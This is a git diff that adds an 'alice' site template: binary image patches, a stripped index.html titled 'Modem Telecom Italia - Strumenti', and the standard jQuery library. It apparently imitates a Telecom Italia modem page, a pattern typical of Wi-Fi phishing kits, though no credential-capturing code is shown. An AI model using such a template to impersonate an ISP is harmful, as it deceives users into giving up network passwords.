zkO+ms_V#x5y?B7i;qh`%P=_AH=Hu`EN7ZVG15{sMpGH%g08qKP2_T_XqY>nyP`S0X z#)pmsxi;bFve|5%PLziN33XZlB#HHqZHMFA|At zf8&2sjvFA!$ur`{?GPu2tueu!hp4KeZQe&nZ>#o%6}cfUx96Ou9lz}r3JbXJU0hPL zGmIY1c4PF{`eT)(h1M(4#DH|utuFWZlMnXbytcz}RJ}_?&B1f}cJ@d!nilm?67T}u znZ)9)*se2z2kqs4SIuVC{A!mm?k zP~EZf4(DQyb%j*{PDgqTm_oUd+O8y8uID53aIPfFSsMp&WsE@kyI=jHTW8uc-mrc%4l8)gOzh!pgxFEGwii|2zD~ z7inRoNqesk978JUr8NgA#9+JN-34xMtePc<6-4gL`dZ}Sk9N3eQ`9@$F5WDI)4DWX z1>0U8NIZ`XEQ(LjKipsB?h<7e?%^_ccnjS1wwMZcjHoh|5>Dh$({d1_=dJ`?#=w(< zC~vlG%8_2O_jCkJ_MbCubl(5Pac`-ji0Sd#qXHFfYzmphMqtVb=Td1&)j!-RcFX(q z63jQs>S!)4FznL0GX~;zd!A@2Vbu8#FPJaDbU72`_*t#xa{d;Whi|c0wRS(|&~U^~ zrWu_~t2P$|yGGa1V;QHW-ljB?;ulksrgg6^tcMk_7v!3l>J$5-%pl6+f#+0NFyWLZ zGL@8Xioe=e_~W7vTMk2o_~mW7c2)S(K4;?ph=K@0TEe_C3l2gPZTYXvsYe? LU&L?U29Es;l(ec1 literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/images/buttonE4.gif b/Sites/Template/alice/images/buttonE4.gif new file mode 100644 index 0000000000000000000000000000000000000000..6e1164bb36cee95eb81e3c660ead763267cb6b73 GIT binary patch literal 1785 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 literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/images/button_7.gif b/Sites/Template/alice/images/button_7.gif new file mode 100644 index 0000000000000000000000000000000000000000..253f177746c1a38788087c6d761f982cf3bf9dd9 GIT binary patch literal 1721 zcmcIihgZ{A6n=~ra8}Au(c(a@lXFBNF#)D?9^A!f;0$g7 zu-;;81;8-a0iexu$#5131bjYUC=`~Jl_3biWHKu%Dw>*_9zA;0*Vi{ZJUlu&IyN>o zK0ZD&GSbu2)85`*UtiDT@fsQ$hK7cwr>AFUXWzVe^Y-mqi^XC#o5f;rVPRosXQ$C< zoS2v}7z~4hgZ=&ey}i9Alj+5a7doAe!{OxS=Bm}|uCA`Owl$|(VrBZ2aZEa0WO@4lUNl8g{ zb@juC59^sxp72zs(ma7@6tn(YrX-3fWiS|0X?ifE)1@*QD>^uu35%Ig5Xxj3!5K0b z6crUUa)_QFmYo}%L6vH)6#!2n8;V2>zz~UefG2tqIVeiK z%|+odDED?=ULK3Zs;sQUka$fz5*$z}J`>(73@~8cF(fXEHZ^4u0KmX9l#8dL5Mf{+ zLMC*mP*If4X3Kdb!accyA4B5FF#tkn_wEsZLUBKauP84sud1pN#$o}$#tN0nd4yGF zg~SM&u^=Q1-Yg6N7Rs;>MDMxxNwGqeN~Kn3hXO3QOr=K1sxmSeQL9v0SP+^8r>uV! z6+*@$YBiV3)zZ&k;}8uk6o4~y_)aheIEqM{tyTkogNjCjP;fv59UCXoY5@qPX*4h+ z4jZaL;ieKN%4SlW{9Mv&(} zuLujs^N1deulv{-_={`QIw$8ShHjDHgKcMZRoqT?P|24C5|5`r#alOym!rR5(IXcE zlU%kxX7(Xr$5>ve;z@$|hL(4G;p49}9JYG1a)QLnAYp>dJC_}`<$A?WRvUZ;r@hCN z84kM(=T4WOUWQ+IeerCMXriO&Q0kgMN!9aC&LR4u6uRMDBXdO|EnUAmqOWTIm{^$i zD&p5hmx(21k}KwW@%t7o9V{ok9BM7;p*2YNPMH*m)b>dN=U^h`tK@g*qHO`#=$N*V zuq&=DuFF^VaK+LPuh+9v&ut15J}ZyieC)vbgH9&`E)HL{%Qf0=wRYU|)At`0|AoIn z@TB#x3e~$>S=;<|aSb>hdv%S|@w@iG30McIoQu3FmCp9Jo}Es)##x_8i2w%QwK1(L zizwIso>>pR0siO1Kb*{7edWH@r!60QEvQbRDEBPCyd+NGS8A)8-jcZX&K8^AZD45G z<+S)ej^DMF&ABUgA6~~;WKD=vuxS3AWn%^5Kzk*ufSgRfnYBs0l57-O0t%DA^?O=; zWZbZs>0RK!CinUoMxF0RiWX|d$IXRI%3fAH+2K*K#q8>~>EKsWQogPEl3U~wfohv( zZiXj+>?{4PSw4fmQExJu1ZxaN{SoIU8!74Pb(8^fJud$B&77L3GbakpVjdiFYS*6- zR-d&_2=q@q7ah&_Py0kv=~UUG$Jz~=dL9MPnLM(L_TwTJD~BD};BA^CYLD#qa+Bdc zbNLhT*`T=Haq3R2x-GD#ZKdS7#O>7pu_xlyU~K2vnFA{(Xp^so6YL^uBH}wg-P7sd zvAAjE$mVl3V;OWO%V6Sn_{@>IU1b(yt~t0XJhgiJ&WZ2SkM136yCfL+)wR2S&>S9e zZIiV=L7b9ZO;It@R{!P@QdF^*^g4;5t=%`Hx#LTj=7%25^6vSL^z&68pJ#o4JPtp< oD$?Ka14p4@HBq~1gu36#@-+Dv-|~z<_4f6&daA+C$_niJ2R}tp00000 literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/images/header_agwifi.jpg b/Sites/Template/alice/images/header_agwifi.jpg new file mode 100644 index 0000000000000000000000000000000000000000..9325848a8c066dbf8d1c45e7d03cb5376a3d8e9b GIT binary patch literal 11391 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 HY5e~Hi8L&U literal 0 HcmV?d00001 diff --git a/Sites/Template/alice/index.html b/Sites/Template/alice/index.html new file mode 100644 index 0000000..e1be66c --- /dev/null +++ b/Sites/Template/alice/index.html @@ -0,0 +1,77 @@ + + + + + + + + Modem Telecom Italia - Strumenti + + +
    +
    + +
    +
    + +
    +
    + + +
    +
    +
    + + \ No newline at end of file diff --git a/Sites/Template/alice/js/jquery-2.1.4.min.js b/Sites/Template/alice/js/jquery-2.1.4.min.js new file mode 100644 index 0000000..49990d6 --- /dev/null +++ b/Sites/Template/alice/js/jquery-2.1.4.min.js @@ -0,0 +1,4 @@ +/*! jQuery v2.1.4 | (c) 2005, 2015 jQuery Foundation, Inc. | jquery.org/license */ +!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l=a.document,m="2.1.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return this.pushStack(d.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(a){var b=this.length,c=+a+(0>a?b:0);return this.pushStack(c>=0&&b>c?[this[c]]:[])},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:c.sort,splice:c.splice},n.extend=n.fn.extend=function(){var 